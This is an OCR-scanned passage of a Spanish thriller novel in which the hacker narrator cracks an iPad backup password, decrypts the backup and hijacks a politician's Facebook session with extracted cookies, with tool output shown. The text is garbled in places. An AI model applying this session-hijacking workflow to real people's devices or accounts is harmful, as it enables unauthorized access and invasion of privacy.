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Escuch¢ un eco al otro lado de la espesa bruma que me envolvia. Me desperté con un
sobresalto, el rostro perlado de sudor y la respiracion agitada. Mis ojos estaban abiertos,
pero no podia ver nada. La oscuridad era absoluta. Los suefios demasiado espantosos para
recordarlos. Tampoco podia recordar dénde me encontraba ni qué estaba haciendo alli.

{Que era ese sonido? Parecian los engranajes de un mecanismo en movimiento. Clac-clac-
clac. Tenia la certeza de que algo estaba a punto de ocurrir. Me preparé para recibirlo como
el boxeador al que le han pillado con la guardia baja y trata de encajar el golpe lo mejor
posible. Pero los segundos pasaban y el golpe no llegaba.

Me qued€ paralizado. Intentaba situarme en un contexto espacio-temporal conocido, pero
la oscuridad y el temor hacia lo que vendria me lo impedian.

Otra vez ese sonido. Traté de identificarlo mientras se producia. De este modo fue fcil: una
cerradura que se abria. Nada més perturbador para alguien que ha perdido toda conexién
con el mundo real. La cerradura abriria una puerta que daria paso a... ;qué?

Alguien entrd y cerrd tras de si. Una sombra que venia en mi direccion. Retrocedi hasta que
tropecé con una superficie mullida y me encogi como el animal asustado que era. Entonces,
una intensa cfaridad bafi6 la estancia y me cegé. Giré la cabeza, interponiendo una mano
temblorosa contra la fuente de luz.

Cuando pude entreabrir uno de los ojos, vi a Marcos apoyado contra la pared del salon.
Tenia la mano sobre el interruptor y me miraba con cara de circunstancia. Seguro que se
preguntaba qué estaba haciendo yo agazapado en el sofd y con expresién haber visto un
fantasma (o la filtima pelicula de Nicolas Cage), aunque se abstuvo de decir nada.

Al observar la mochila que llevaba al hombro, empecé a recordar. Equipos de vigilancia e
inquisicién. What the fuck!
-Tranquilo: pap4 est4 en casa —dijo, mostrandome una bolsa cuyo contenido grasiento

habia hecho estragos en el papel-. He traido donuts. El desayuno de los campeones —
afiadio, y se marcho por el pasillo.

-;Ha ido todo... bien? -lancé la pregunta en tono elevado, para hacerme ofr al otro lado
del sal6n, pero solo me contestd el sonido de la cafetera desde la cocina. Marcos me
informaria cuando lo considerase oportuno, y no habia nada que yo pudiera hacer para
cambiarlo.
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Mientras mi amigo preparaba el desayuno, consegui calmarme. Mi turbacion al despertar
se debia a que no era consciente de haberme quedado dormido la noche anterior. Debid
de suceder poco después de que Marcos saliera para su expedicién nocturna, porque no
conseguia recordar nada a partir de ese momento.

Marcos volvié con dos tazas humeantes y un plato de dulces que dispuso sobre la mesa. Se
sent6 a mi lado y me pasé una de las tazas, invitindome con un gesto a escoger el primer
donut como un buen anfitrién. Cuando estaba a punto de coger el de crema con glaseado,
le sorprendi una mirada de consternacion que me hizo cambiar rapidamente a otro de tipo
clésico. Marcos aprobd mi eleccion y se llevé el de crema a la boca. Siempre habia sido su

preferido.
- .Y bien? -dije, dando un sorbo de café.
-No traigo buenas noticias.

-;Coémo es eso?

“No he podido descubrir dénde tienen a tu chica. El objetivo no se ha movido de su
domicilio ni ha recibido visitas.

_Entonces, todo ha sido una pérdida de tiempo.

Yo no diria tanto —hizo una pausa para dar otro mordisco-. Por un lado, he comprobado
que la direccion es correcta. El nombre figura en el buzén. El objetivo llegé tarde y se
fue a la cama. No hubo mas movimientos. Vive solo v, a juzgar por el equipamiento
de su casa, nada mal. La mala noticia es que no he encontrado ninguna pista que lo

relacione con el secuestro.
-{Un momento! ;Has entrado en la casa? —pregunté con incredulidad.

-Si. claro. Pero no te preocupes. El perro no fue problema, la alarma era de chiste, el
objetivo dormia y no he dejado indicios del registro. Es como si no hubiera pasado.
Puedo reanudar la vigilancia y, sino queda otra opcion, abordar al objetivo directamente.

-; Abordarlo?

-Si, pero solo en ultima instancia. Bs mejor agotar todas las posibilidades antes de
alertar al resto de implicados. Si sospechan que Jes pisamos los talones, podrian adoptar

medidas desesperadas.

- Yolanda?

_Asi es. Pero mientras no estén seguros conrespectoa ti y a suhermano, la retendran como
garantia —se sacudio las manos para eliminar los restos de glaseado antes de continuar-.
Y eso me lleva hasta la segunda fase de la operacion: tu casa. Como sospechaba, tienes
compafiia. Habia un hombre apostado ante la entrada, un tipo muy delgado, dentro de
un vehiculo. He apuntado la matricula.

_Tiene que ser el mismo tipo. El jefe del calvo que noqueaste ;Lo has interrogado?
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o I?é]y por la misma razén. No quiero activar las alarmas. Pero podemos sacar algunas
uest(l)lsmnes del_hecho de que sigan tan interesados en ti. Estd claro que tu fuga los ha

? st muy NErviosos y no descqqsaran hasta neutralizar la amenaza que representas. Si
odo lo demas falla, podemos utilizarte como cebo. .

-Genial. Siempre he querido ser un cebo.

-Todavia nos quedan unos cuantos hilos de los que tirar, antes de llegar 2 eso. Yo seguiré

con 18. VlgllanCIa dLlIante la manana. 1 ti puedes seguir Iecabaﬂdo IIlfOIInaClOIl. I()l
g
Ci€x tO, { tienes alguna nueva plSta.

-Nada sobre Yolanda —confesé.

ggnc?n‘t_er rn:js sospechas sobre la implicacion de la Presidenta y como habia llegado a la
tc 1‘1_510n e que se trataba 'de’ Niimberg. Marcos lanz6 un silbido de sorpresa, pero su
posterior asentimiento me indico que estaba de acuerdo conmigo.

i?f todas formas —co1_1t1nué-, €s0 no nos aporta nada Wtil. Seguimos sin saber donde
ienen. Todas las pistas que hemos seguido nos conducen a callejones sin salida
Empiezo a estar desesperado. .

;l('ligﬁsolz)ay de su agenda? ;No me habias dicho que tenia una cita relacionada con el

T;Es vede}(}! —exclamé-. Lo habia_ olvidado —consulté los datos en el portatil y lei la
informacion-. Es para hoy a las cinco. Debia encontrarse con un tal “P. Suarez” en el
Parque Berlin. Eso esta en Madrid.

—Blel'l. Cu?ndo el tal SuareZ apal’ezca Nnosotros eStaI'em 111 110 01 eaIldOSC 1a
0S a —d
> .] > g p

Estable’cimos un plan de accién. Marcos reanudaria la vigilancia de Etxeondo y yo me
quedarla en el piso para recopilar y ordenar la informacion, por si se me habia pasado algo
importante. Cuando mi amigo se marchd y me dejo solo, me puse con lo que habia sacado
del ordenador del consejero. Esperaba encontrar una pista entre todo ese material, aunque
tenia mayor confianza en el trabajo de campo. ’

Entre los datqs que descargué del PC de la consejeria, habia una copia de seguridad del
1Tune_s. con el iPad de Garralde, que esperaba ser diseccionada como si fuera una pequefia
lagartija en la clase de biologia.

El’backup estabrfl cifrado usando una contrasefia que el propio Garralde habia configurado,
asi que arranqué IG’; Password Recovery Suite®, cargué un diccionario de palabras y en
unos minutos aparecié resaltado en azul chillén: “Cheddar”.

No cabia duda: la aficién de Garralde al queso indicaba que el consejero no era intolerante
a la lactosa.
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Con aquella agria contrasefia y mediante el kit de scripts en python de iphone-

» Low level hand written assembler CPU optimizations with all modern instruction sets
support (AVX, XOP, AES-NI);
| = Support for wide range of GPUs - NVIDIA and AMD ones;
» WPA-PMK generator mode can be used to aeate precompute tables for known 55IDs
|| making further attades much faster; o
| »Several types of attadcks supported - brute-force and dictionary bas.f_d ones;
» Automated password recovery with predefinedjuser-defined scenarios;
| = User-defined sets of nies for dictionary atincks;
'| » Supports Unicode and ANSI dictionaries.

| File: Dz tmpWanifest. pist acen
Type: e®i0S 4.x/5.x ba
I p?'fri:@?ﬂ Apple i0S 4.3/5.x backup, PBKDF2/AES
|| Total passwords to process: 2.926.255.764
| Total passwords processed: 2.338.736.
|| Passwords skipped due to rules rejections: 631.397.
Passwords skipped due to length kmitations: 11
« File is password protecied to open — «Cheddar»

£2012 : ..
- — :
Img 87: Herramienta IG’s Password Recovery Suite buscando contrasefia del backup de iTunes.

- - e VoS,
dataprotection?®, descifré automaticamente cada uno de los archiv

root@bt: —/I_dp/python_scripts

root@bt:~/i dp/pythen_scripts# python backup_tool.py ~/copia_itunes/ Eé
Device Name : i2 aGa

Display Name : 12 iGa

Last Backup Date : 2612-66-81 19:15:51

IMEI : D12764469764469

serial Number : DQTD48U84469

Product Type : iPad2,2

Product Version : 5.6.1

iTunes version : 10.6.3

Extract backup to /root/copia_itunes_extract ? {y/n)

= TP

g, =

TR

y g
Backup is encrypted §
Enter backup password :

eddar
crlli.ting Documents/crystal_themes/pro_6F5C66FD-DD86_HD_61/pro_zombie/item

E

chievementcomparetext.ctd E
_E:.tting Documents/FEBESE77- 1EFE-4E16»3584-NAEDDZE&*\E,’91?55315351‘6:!:61'[:—
content . html . oLpng i
riting Library/Book_881/Book_681_Shelf_Icon_Pl. E
mlﬂg: File 29563c894789d7ceef2d33d1c99e2e19c1a8fc1d (_L}_hrarw?referens__-_'

Img 88: Descifrado del backup mediante los scripts de iphone-dataprotection.
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No tenia_ demas_iaclo claro qué me podia encontrar, Tampoco me importaba. Habia usado
el pendrive, y si no habia fulminado su equipo dejandole sin un archivo en el disco duro,

Uinicamente era porque tal vez encontrase algo de informacién en é1. Quiza podria regresar
mas tarde para terminar el trabajo y obtener mi venganza,

EliPad estaba repleto de aplicaciones y me llevé un buen rato sentirme cémodo navegando
entre los ficheros del backup. Para ubicarme ¥ no equivocarme con los confusos nombres de
archivos, acabé usando iPhone Backup Browser”, herramienta que los ordena visualmente
en forma de 4rbol e indica qué es cada uno de ellos.

¥ iPhone Backup Browser

com ebay,core jpad com.ebay core ipad NAA 0
com,elmundsipad com.elmundoipad N/A 0
com.enchantedcloud photovaut com.enchantedcloud photovauk 8 224,655
com.evemote iPhone. Evemnota com evemote iPhone, Evemote MNAA D -“j
com facebook. Facebook com facebook.Facehaok 5 43.469
com.FedericoKalayiian. SmoodyHD com.Federico Kalayjian, SmoodyHD 7 14.056
com firemint fightcontrolipad com firemint fightcontrolipad 10 31,021
com flipside5.games th2x com flipside5.games th2x 4 2
com gameloft AmazingSpiderMan com.gameloft AmazingSpiderMan ] 21372
com gamedoft_IronManZiPad com.gameloft. lonMan2Pad 1 192
com . gameloft. MonsterKesper

com gameloft Monsteri(eeper 14 34618

| = LA
AppDomain-comfa... ef6055126idBa8c3c074567
5927 30/.. AppDomain-comfa... 384ebBeb2habldA3a21d9:
Lirary/ Web# L ocalSiorage/itp_www youtube.com 01 12288 23/  AppDomain-comin. . 4448500 625 30551248257
Library/WebKit/LocalStorage https_m facebook.com_Qlo... 12288 16/. AppDomaincomfa... H2140d8e87b45a%b5dicE|
Library/WebKit/Local Storage/hitps_s-static ak facebook ¢ - 12288 08/.. AppDomain-comfa.. GhdZasad?Bs03h256480

Img 89: Uso de iPhone Backup Browser para revisar ficheros.

Con la cuenta de correo que tenia, las contrasefias que habia recopilado no funcionaban en

Facebook, y como me habia dispuesto a violar su intimidad, digitalmente hablando, busqué
una alternativa.

La aplicacién mévil de la red social utiliza binarycookies, un formato habitual para guardar
la sesién autenticada en dispositivos méviles I0S y el navegador Safari de Mac OS X, lo
que evita al usuario tener que introducir sus credenciales cada vez que Ia arranca. El fichero
que las almacena se llama “Cookies.binarycookies” ¥y se puede exportar e introducir en el
navegador de un PC.

Guardé el fichero en mi Linux y ejecuté el script BinaryCookieReader . py® para
transformarlas en lenguaje legible que pudiera copiar y pegar.

EEI SIS e ey
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root@bt: -# python BinaryCookieReader.py Cookies.binarycookies B

“l““‘-.ll.ﬂl'ﬁl‘.-ll-ll.--.-‘---.-ll---.I.l..l‘ull”ll’ll‘.ll&lll).lll‘-
# BinaryCookieReader: developed by Satishb3: http://www.securitylearn.net #
.".l‘-‘.....‘.“.-.“-‘..-.-...‘...I‘.“‘.l"““-“.l.‘."‘.‘-“‘...““
Cookis : c_user=100081648984898; domain=.facebook.com; path=/; expires=Tue,.
16 Jul 26813; Secure i
Cookis : csm=2; domain=.facebook.com; path=/; expires=Tue, 16 Jul 2013;
Cookie : datr=wIBEUGonSWS81JILGUWIIL6uW; domain=.facebook.com; path=/; expir-
es=wWed, 16 Jul 2614; HttpOnly ¥
Cookie : Tr=0PWQLSErcPTLvbPVK. AWWBZvSVQWECQXTTIZOSTYAWWBZ; domain=.fTacehook
.com; path=/; expires=Wed, 15 Aug 2812; HtipOnly 1
ficcokia : m_user=8%3A0%3AB%3IA0%3IA%IAL342476134%3A1; domain=.Tacebook.com; pa
th=/; expires=Sun, 14 Oct 2812; HtitpOnly :
Cookie : x5=181%3342476221j0Y77w%3A2%3A1342476221; domain=.facebook.com; pa_
th=/; expires=Tue, 16 Jul 2613; Secure; HttpOnly

root@bt:-# ||

Img 90: Script BinaryCookieReader.py mostrando sesiones de Facebook.

Una vez estuvieron en pantalla, vy con la extensidon de Firefox Cookie Manager+’’, las
introduje una a una.

Img 91: Uso del addon Cookies Manager+ de Firefox para la edicién de sesiones.

Cuando finalmente accedi a la web, €l timeline me daba la bienvenida y me indicaba que
tenia cuatro mensajes nuevos y dos invitaciones para jugar a “Escapa del Gato”. Cada vez
que veia esta pantalla, sonreia feliz por no ser un habitante mas del reino de Zuckerberg.
En cuanto a los mensajes, eran de algunos miembros de su partido; subordinados, a juzgar
por cémo le hacian la pelota y le alababan por su reciente intervencién ante los medios para
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Justificar la Gltima subida de impuestos. Ninguno le recordaba

7 . . ue a 1
habia prometido Justamente lo contrario. e anies de las elecciones

g::rt:la;: mi inspeccion con el resto de aplicaciones. Una de ellas llamé mi atencion
g ‘:rz usuario de Box.net, el portal para guardar datos en la nube. Decidf bucear alli.
porque estaba seguro de que era un buen sitio para esconder sus secretos mas profundos ,

A %fercnc:a de la anterior, la autenticacién con los servidores que la soportaban se hacia
mediante un querr que se custodiaba en la caja fuerte de [10S: ¢l “keychain”. El token no
me servia, salvo que lo usase en otro dispositivo o realizase algin ataque de impersonacicn

similar. Pero al escarbar entre otros ficheros d icacio
s ; e aquella aplicacion.
BOXCUWDataStorage.sqhte“ me Sorprendié, q p C Dﬂ_ la basﬁ' d.e daIOS

Posiblemente por mejorar el rendimiento y ahorrar unos molestos segundos al usuario
aquellia baSt? de datos.se registraban cada uno de los archivos almacenados en Box.net E’s‘z)1
no seria un Inconveniente si no fuera porque, en el caso de las imagenes, se gener-aba.n u
serie de URL con miniaturas (¥ no tan miniaturas) para visualizarlas, ’ .

e —— Y

biltps,//wwww. bor comnumbnai/l_4111242463/a2542cb951 2419157298 23

hitps://www box com/thumbnail/t_4111242767/dceadS115071 Sf?BIJ??deeU‘ItBMJ
https: 4wy box. com/thumbnail/f_41112431 29/94653a58c4248cdafbed3r1531 704 v
hitps: /Awww, box.com/thumbnail/f_4111243525/067b1 2b2724e3aechc31253 bl ‘

hittps:¢/swe box com/thumbnail/f_4111243508/52431135622 064382633750

L]

Fr=r =

Img 92: Utilidad MiTec SQLite Query con la base de datos de Box.com.

En la copia del iPad no existia ninguna de aquellas imégenes, pero gracias a la tabla y al

?Stado de direcciones, pude verlas como si me las hubieran presentado en un dlbum de
otos, si bien con bastante asombro por mi parte.

S P NPt

i
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En todas ellas, el consejero se retrataba junto a otro hombre, en una actitud mas que carifiosa
y que no dejaba lugar a dudas sobre el tipo de relacién que ambos mantenian. Por los
lugares donde habian sido tomadas las instantdneas (una playa, un local nocturno, un campo
soleado...) y las sonrisas exultantes de los protagonistas, cualquiera diria que aquellos dos
eran una feliz pareja que no temia ocultar sus momentos de felicidad a los demas. Y asi lo
hubiera pensado yo mismo, de no saber que uno era un destacado miembro del gobierno
autonémico y el otro, Teodoro Garcia, el lider de la oposicion en la Comunidad, y que sus
pugnas dialécticas eran famosas en las sesiones de 1a asamblea y material jugoso para los
telediarios. Parecia que la furibunda rivalidad politica tenia mas de aparente que real, o que
al menos no habfa sido obstaculo suficiente para el amor.

Después de dos horas frente a la pantalla, solo habia conseguido tres cosas: un intenso dolor
de cabeza, unos ojos abrasados por laradiacién y unas imagenes que preferia olvidar. Aunque
tenia bastante claro cual era el origen de los acontecimientos que se habjan desarrollado
desde que Yolanda me entregé el archivo, asi como la identidad de los responsables de su
secuestro, carecia de pruebas incriminatorias mas alla de meras especulaciones y, 1o mas
importante, ignoraba donde la retenian. Estaba exasperado por la falta de resultados.

Necesitaba cambiar de actividad para volver después con energias renovadas y mayor
amplitud de miras, asi que me dediqué a repasar los progresos obtenidos con el fallo del
dominio y a poner al dia el correo. No tenia mensajes nuevos. Solo spam, spam, spam,
como dirian los Monty Python.

Me encontraba eliminandolo cuando el mévil volvié a sonar. Esta vez era mi jefe, cuyo
retrato me sonreia desde la pantalla de retina. Debajo aparecia el nombre con el que lo tenia
anotado en mis contactos: “Final Boss”.

-jJuanjo! —saludé-. ;Qué te cuentas?

-Angel, Angel, Angel —contesté desde el otro lado-. Mi envidiado subalterno. ;Qué tal

fue la cita?

- Qué cita?

_Pero bueno, tan rapido te olvidas de tus ligues ;Para eso me pediste salir pronto el

viernes?

-Ah —recordé a Yolanda con una punzada de dolor-. Bien, gracias por tu interés —no
queria entrar en detalles. Seria demasiado largo y duro de explicar.

-Espero que la chica no te haya apartado demasiado del trabajo. ¢ Tienes todo listo para
mafiana?

-¢Mafiana?

-No me digas que ya te has olvidado —grufié, enfadado-. Supongo que ella merece la
pena. Nunca te habia visto tan despistado ;Espabila, hombre! Mafiana te quiero en
forma. La presentacion en Telgroup tiene que ser un éxito.
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0 por completo. Ni siguiera
0 menos que tenia que ir a
s { : habia delatado a Pablo.
-(Angel? ;Estés ahi? —pregunté Juanjo, alarmado por mi silencio

No contesté. Estaba pensando. La voz de mi
yo mantenia el teléfono pegado a la oreja.

é La' reunién! Con todo }0 que habia pasado, me habia olvidad
1?11113 presente que debia volver a la oficina el lunes. Much
clgroup para exponer los resultados del anélisis forense que

Jefe sonaba entonces muy lejana, pese a que

Pronto tomé ision. Si ia sigui

s préléa]_ ;r;iutﬁz_ms;?n. Si para e_] dia siguiente no habfa conseguido dar con Yolanda

e .)li' a la reunion € investigar sobre el terreno. Pero, ;no seria eso meters ’
0bo? Alguien de Telgroup tenia que saber que yo habia accedido al archivoe

No sabia quién habia dado la orcle;ﬁ de liquidarme, pero bien podia haber partido de esa
€Ia un riesgo que estaba dispuesto a correr. Y era poco probable

empresa. De todos modos,
que intentaran algo en un edificio de oficinas abarrotado un dia laborable

SiA I — io eri
jAngel! —Juanjo gritaba. Seguro que pensaba que ]a comunicacién se habia cortado
-No te preocupes. Mafiana tendré todo a punto.

-Eso estd mejor. Por cierto, ;dénde estds? Te he Hamado al fijo y no contestas
-Me he escapado el fin de semana —contesté-. Hasta mafiana.

Colgué sin darle tiemp

0 a preguntar nada mds. No teni Ani
e i nia el 4nimo para mantener aquella

En esos momentos, Yolanda ocupaba toda mi mente.
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Capitulo XX
Confrontacion

Me senté en un banco cuando atin faltaban unos minutos para las cinco. El sol me obligaba
a entrecerrar los ojos y el rumor del agua en la fuente proxima acariciaba mis oidos. La
gente disfrutaba de una agradable tarde de domingo en el parque, apurando sus Gltimas
horas de asueto en un entorno natural enclavado en medio de un desierto de asfalto. Yo
podria haber sido uno més de aquellos seres ociosos y despreocupados, pero unos politicos
y empresarios corruptos habian secuestrado al amor de mi vida e intentado matarme. Eso
puede fastidiarle el fin de semana a cualquiera.

Marcos habia continuado con el seguimiento de Etxeondo durante toda la mafiana. Segin
me informé luego, solo habia salido de casa para comprar el periédico y pasear al perro. No
se encontr6 con nadie en el exterior ni recibié visitas, aunque si le vio utilizar el teléfono
movil en dos ocasiones. En ningtin momento pudo acercarse lo suficiente para escuchar la
conversacion, pero el empresario parecia bastante agitado tras colgar la tiltima vez. Después
de eso, Marcos tuvo que abandonar la vigilancia para encontrarse conmigo en el parque.

Yo, por mi parte, no habfa conseguido nada repasando los datos del ordenador del consejero,
mas alld de confirmar su participacién en la trama corrupta. Habia agotado esa linea de
investigacion, Jero no estaba mas cerca de encontrar a Yolanda. Esperaba obtener mejores
resultados con Sudrez, la persona con quien ella se habia citado antes de su desaparicion.

Este personaje me tenia desconcertado. Su nombre estaba asociado al archivo en la agenda,
si bien no habia vuelto a aparecer en el curso de la investigacién. Por lo tanto, ignoraba si
habia participado en el secuestro, en cuyo caso no se presentaria. Si lo hacia, demostraria
su inocencia en cuanto al secuestro, pero bien podia formar parte de otra pieza de la trama
y desconocer lo que habian hecho sus compinches.

Levanté la cabeza del periédico que simulaba leer y no vi a Marcos por ningin lado. Sabia
que estaba cerca y controlaba la zona. Esa certidumbre no impedia que mi nerviosismo
aumentaba a medida que llegaba la hora convenida. A pesar de ello, estaba listo para
abordar a mi objetivo en cuanto consiguiera identificarlo.

De las personas que deambulaban en torno a la fuente, ninguna parecia ser mi hombre
(0 mujer). Nadie esperaba. Todos iban y venian, sin detenerse el tiempo suficiente para
levantar sospechas. Solo otro de los bancos estaba ocupado por una anciana que lanzaba
miguitas de pan a las palomas y miradas de reprobacién a una pareja que se besuqueaba
sobre el césped. Traté de relajarme observando el picoteo de las aves, pero la hora avanzaba
a la par que mi impaciencia.
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Pasaban diez minutos de la hora sefialada. Fueron suficientes para convencerme de que
Suarez no se presentaria. Era demasiado esperar después de todo lo que habia sucedido. Su
ausencia le declaraba culpable y yo tenia otro nombre que afiadir a mi lista negra.

Iba a levantarme cuando senti una vibracién en el bolsillo. Me dejé caer de nuevo sobre el
banco y saqué el moévil. Marcos me informaba por Whatsapp: “Varén. 50 afios. Pelo negro.
Camisa roja. Cazadora azul. Al norte”.

{Al norte! (Dénde cojones estaba el norte?

Pensé en abrir la aplicacion de la brijula, pero eso me habria llevado demasiado tiempo, asi
que miré a todas las direcciones sin ningtn disimulo. Pronto localice a la persona descrita,
que venia hacia mi posicién con un ligero trote y expresion de apuro.

Al llegar a la fuente se detuvo, dio una vuelta sobre si mismo y consultd su reloj de
pulsera. Repar6 en mi por un momento, pero enseguida me descartd y siguio buscando a su
alrededor. Finalmente dejo caer las manos contra los muslos en clara muestra de fastidio.
Estuvo unos minutos esperando. Finalmente volvio a consultar su reloj, lanzé un suspiro al
aire, dio media vuelta y se marcho por donde habia llegado.

Me levanté y comencé a seguirlo. Mi vision periférica detecté la silueta de Marcos
caminando entre los arboles, al otro lado del camino y algo adelantado con respecto al
objetivo. Habiamos acordado abordarlo cuando las circunstancias fueran las adecuadas,
lo que suponia que Marcos decidiria el momento. Yo me mantendria a la expectativa y

actuaria de poli bueno.

Suarez se desvié por un camino secundario, donde una mujer de mediana edad caminaba en
sentido contrario arrastrando un carrito de bebé. Cuando llegd a mi altura, pude ver que el
pequefio dormia placidamente. Miré por encima del hombro y la vi perderse por el camino
principal. No habia orcos en la Comarca.

Estaba pensando que esa era nuestra oportunidad cuando Marcos salio de entre los
matorrales y empujo a Suarez contra un arbol. Este traté de zafarse y golpear con el pufio a
su atacante, pero Marcos le bloqueé el brazo y se lo inmovilizé contra la espalda. Lo gir6
y volvié a empujarlo contra el arbol sin soltar la presa, manteniéndole la cara presionada
contra el tronco y clavandole el pulgar por detras de la oreja.

-jSuéltame, cabron! —amenaz6 Suarez, que a pesar de estar completamente inmovilizado
todavia hacia esfuerzos por soltarse. No tenia la m4s minima oportunidad, ya que Marcos
descargaba todo su peso contra &l-. No sabes con quién te estds metiendo. Vas a atracar

al hombre equivocado.
-;Callate! ~orden6 Marcos-. Esto no s un atraco. Y sé perfectamente quién eres, Suarez.

El hombre se tensé al escuchar su apellido. Su mirada pasé del miedo a la curiosidad para,
al incrementar Marcos la presion contra su cuello, volver al miedo. Sin embargo, no se
derrumbo. Con su limitado campo de vision, repar6 en mi presencia. Parecia que estudiaba
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la situacién 1
v ) . . .
B ty aloraba_ su.s’ opciones. Mi amigo se dio cuenta e incremento at 1

> Nasta que consiguio arrancarle un gemido de suplica ki

-;Quiénes sois? —pregunté, cuan 1 i :
preguntd, do se dio por vencido-. ;Qué queréis?

-jAqui las preguntas las hago yo! —ladré i int
g 20 yo! —ladré, renunciando de inicio al i
i ' ‘ 10 al papel de poli b
= 51 - 0 eléonﬁ‘que _Vjc Mm,_key emplea ante los sospechosos més reticer}ztes euf‘:‘n]? )
, una de las mejores series de la historia. ke

No fue mi mejor i 18
Jor Interpretacion, pues la voz me salié vacilante, a medio camino entre una

pl’ )< n y un X 1all’l '1’1 E g
egunta a exXC acion. sto de 0 paS adO a

m SuareZ. IVIalCOS me lllteIIO aba con 1()5
OIOS, Vlb]l)le]“ente cO 11 uIldldO.

-iResponde! - : il
iResponde! —bramé, amagando un pufietazo que nunca me hubiera atrevido a dar.

-iPero si no has hecho ninguna pregunta! —protestd Sudrez

*; Qué cofio esti 1 ?” )
[Q stas haciendo?”, pregunté Marcos de modo telepatico
., r ~ - ‘
¢ Qué cofio estoy haciendo?”, pensé.

-No te hagas el listillo conmi : ij
No | ; go, Suarez —dije, en un i
dignidad-. Estds de mierda hasta el cuello yJahora lo ngl;fss.o nemon cirereite o

demuestra los sobornos. {asos etarig e

-;'Tua tienes el archivo?

ol —pregunto, dejando claro que sabia de qué hablaba. Debia seguir

;;1;51; ;;rég;)l —?ﬁrmé, sintiéndome cada vez méas cémodo en mi papel-. Y con él puedo
asta una oscura celda y tirar la llave al m ili : 1
ha : ar —utilizar ese cliché b
avergonzhria incluso al guionista de la {ilti i i Neco e
1 Gltima pelicula de Nicolas Cage, pe i
2! . , Pero yo
lo mio-. Sin embargo, puede que hoy sea tu dia de suerte, colega. 8 PO Yo seuta

(Colega? De verdad habia dicho “colega” j
_ ga”. Marcos puso los ojos en blanco y sacudié
cabeza, ofendido por que empleara su apelativo predilecto al dirigirme a aquel im}llarei(;t;%li:a

'(JAh S1¢ _SuaIeZ paIeCIa Cada VEZ m l . q -
s I
as rela adO nCluSO dlIla ue le Cr tldO £ klgo no

-Pero yo no tentaria a la suerte -le recomendé-. Asi que borra esa sonrisa estipida de 1

cara y atiende a lo que voy a decirte ~hice una pausa para aumentar el efecto dl;améticoa
Antes dej continuar, incluso me aclaré la garganta con un carraspeo-. Que hayas venidc;
hoy aqui me indica que esperabas encontrar a Yolanda, asi que no éstés al tanto de lo
que han hecho tus socios. Eso es un punto a tu favor. Pero no es suficiente. Sé que estas

1mp.hcado de alguna manera y que el archivo te compromete. De otro modo, no habrias
venido a buscarlo. Bien. Estoy dispuesto a hacer un trato.

-Qué bien —se burlé Suérez.

-Calla y escucha —dijo Marcos.
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-No me importan vuestros chanchullos_~continué-. No me 1mp0}’ta que s1ga1: ;(t):;:)ld:i)é
Por mi como si dejais este pais arruinado v 0s fuga1,s a algun'otro sin r 1 i
extradicion. Lo Gnico que me importa es Yolanda. Asi que empieza a cayltar 0 qu
: o me das alguna informacion que me sirva para encor_urar{la, envio et
Me he expresado con claridad?

sepas, porque sin _
archivo a la poli y os vais todos a la mierda. ¢,

-Oh. si. con mucha claridad. Dile a tu amigo Steven Seagal que mire en el bolsillo
trasero de mi pantalon. Quiza alli encuentre algo interesante.

o iberd i S uarez
Asent{ con la cabeza en direccion a Marcos, que liberd la pinza sobre el cuello de S

para exiraer su cartera.

-Adelante, chico duro. Abrela —le dijo Suérez. -
Marsos [ sbrid con e mano e, Dio 1 st ot 3 0 e ok o et
e giraff‘-- : e' UINYO COU_!‘%'GS Y ia junto a un carné profesional con una lb_to de
gfl;?e;ai:esrt?dt} !2: Eilﬁgnffe.pglx;;ﬁ‘droe?;?lvd‘wimos hacia €1, nos apuntaba con su pistola
reglamentaria.

-jInspector Suérez, capullos! —dijo-. Quedais detenidos.

Capitulo XXI: Declaracion m

Capitulo XXI
Declaracion

La sala de interrogatorios no era la tipica habitacién claustrofobica y de mobiliario austero
que retratan las peliculas y series policiacas americanas, sino una habitacién claustrofdbica
y de mobiliario austero mucho mas cutre.

Los muros clamaban por una mano de pmtura, mi silla de aluminio cojeaba, la mesa estaba
rallada y repleta de manchas de café (yo esperaba que fueran de café) y el espejo que
tenia enfrente necesitaba con urgencia que alguien le pasara un trapo. No era necesario
haber visto las cinco maravillosas temporadas de “The Wire” para saber que los polis me
observaban desde el otro lado.

Les salud¢ con una mano temblorosa, pero solo el reflejo angustiado de mi mismo me
devolvi6 el saludo. Pasaron los minutos v nadie entré para decirme que se habia cometido
un error y podia marcharme. Eso hubiera sido demasiado facil y, tal como estaban las cosas,
no lo esperaba. Apoyé los codos en la mesa y oculté mi rostro entre las manos mientras
pensaba el modo de convencer a Suérez (iInspector Suarez, capullos!) de que me soltara
sin poner en peligro a Yolanda.

Despugs del incidente del parque y nuestra posterior detencién, no pude hablar con Marcos.
Sudrez hizoamas llamadas y al momento se presentaron dos vehiculos patrulla que nos
trasladaron por separado a las dependencias de la brigada. Una vez alli, volvieron a
registrarme, se llevaron mis pertenencias, me leyeron los derechos y me arrojaron a la sala
donde ahora me encontraba. El resto fue una larga sucesion de minutos que ya sumaban
las dos horas.

Elsilencio era tan intenso que me llevé un buen susto cuando la puerta se abrié con el sonido
de un cafionazo. Levanté la cabeza y vi que Sudrez entraba seguido por un hombre de unos
treinta afios, barba oscura y pelo largo, que atravesé la sala sin decir palabra, se apoyd
contra el espejo y cruzé los brazos sobre el pecho. Me estudiaba como si se encontrara
ante un raro espécimen biol6gico. Yo, por mi parte, le observé con detenimiento, hasta que
sus 0jos inexpresivos me obligaron a bajar la mirada. Su constitucién menuda y aspecto
descuidado no encajaban con el escenario. De no ser por la tarjeta de identificacién en la
solapa y el bulto de la pistolera bajo la camisa, nunca le habria identificado como policia.

Sudrez, por su parte, tomé asiento al otro lado de la mesa, sobre la que dejd caer una fina

carpeta. En la solapa estaba impreso el escudo del Cuerpo Nacional de Policia y el nombre
de la unidad a la que pertenecia: Delincuencia Econémica y Fiscal (UDEF). El inspector
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se recling en la silla y adopt6 la misma actitud que su compaiiero: de contemplacién y
silencio.

-Oiga, yo...

_Te hemos leido tus derechos, Angel —dijo Suérez, impidiendo que continuara-. Nos has
dicho que renuncias a la asistencia de un abogado.

-Si, renuncio —le confirmé, ya que me advirtieron que si solicitaba un abogado, este

podria tardar en llegar unas ocho horas. Yo era una victima y no pensaba que necesitara
uno. Como tantos otros que terminan entre rejas, tenia esa conviccién-. Solo quiero

acabar con esto cuanto antes.

_Bien, entonces no tendras inconveniente en firmar este acta —dijo, tendiéndome un
boligrafo junto con un formulario que saco de la carpeta-. Es solo una formalidad, para

que todo vaya més rapido.
-S{, estd bien —firmé donde me indicaba. Suarez volvié a guardar el acta en la carpeta y
